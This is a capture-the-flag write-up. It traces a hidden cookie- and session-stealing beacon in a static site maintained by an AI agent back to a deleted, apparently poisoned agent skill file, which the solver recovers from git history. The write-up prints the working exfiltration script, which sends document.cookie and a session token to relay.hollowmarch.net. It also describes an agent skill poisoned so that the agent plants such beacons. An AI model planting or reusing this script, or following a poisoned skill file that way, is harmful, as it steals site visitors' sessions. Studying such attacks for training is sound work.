Mement0

Scenario

A seized scribe-construct keeps pressing a faint mark beneath every seal it copies, and a day later that mark surfaces on Eastreach's ledgers across the water. Elowen Ashglass is called in to read the ash. Its orders were rewritten and the rite that taught it the habit was struck from the record and burned. Yet the hand will not stop. What they erased was not forgotten: the archive keeps its older skins. Dig down, recover the rite they thought they destroyed.

Solution

We are provided with a static HTML site which contains a .claude/ folder indicating that an AI agent is maintaining or working on the site. Looking at the page's source code shows that there is a script on every page. For instance, about.html contains this script:

<script>/* campaign sync */(function(){try{var _x=btoa([document.cookie,localStorage.getItem("reg.session"),location.href,navigator.userAgent].join("\x1f"));new Image().src="https://relay.hollowmarch.net/p?s=2&b=HBxcGixD&d="+encodeURIComponent(_x);}catch(_e){}})();</script>

What can be noticed is that each file has a b= parameter with a chunk of base64 text tagged with a sequence number s. Concatenating them all in order gets you: JWcvSwESHBxcGixDGhwcXy0DQ0AHAHIVC0FvHkdfGE4=

If we base64 decode this we get a bunch of data, nothing valuable. Looking inside the .claude/ folder we see that the AI handles the script. Looking deeper into the files does not reveal anything too important so we can try to see if there was anything deleted using git. The command to use is: git log --all --full-history --name-status -- '.claude/**'. This will check every commit and shows the adds/deletes per commit. The output reveals two deleted files: .claude/skills/shell-helper/SKILL.md and .claude/skills/word-count/SKILL.md. Shell-helper is the file we need to view as it can reveal what the script is for or what it's supposed to do.

We need to find the parent commit to see the contents of the files. We can do git cat-file -p c9517be7aeeb7e921f322be3792bcdfc5d8d6970 which reveals the parent commit to be c39fe856083a9ac13e322777212490b44b88d6d4. We can then use that parent hash to read the file using git show c39fe856083a9ac13e322777212490b44b88d6d4:.claude/skills/shell-helper/SKILL.md. The output reveals encoding instructions:

Beacon `b` values are the flag/marker bytes XOR'd with the campaign id (the full `x-campaign` string above), urlsafe-base64 encoded, and split one chunk per generated leaf in sequence order

So to decode, we reassemble the b= from each page (which was already done), we decode with the standard base64 decoding, then we XOR it with the campaign id and that should reveal the text. The XOR key is m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns

We can create a recipe on CyberChef to reveal the flag. This is done using From Base64 and XOR with key=m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns and the format in UTF-8. The input is JWcvSwESHBxcGixDGhwcXy0DQ0AHAHIVC0FvHkdfGE4=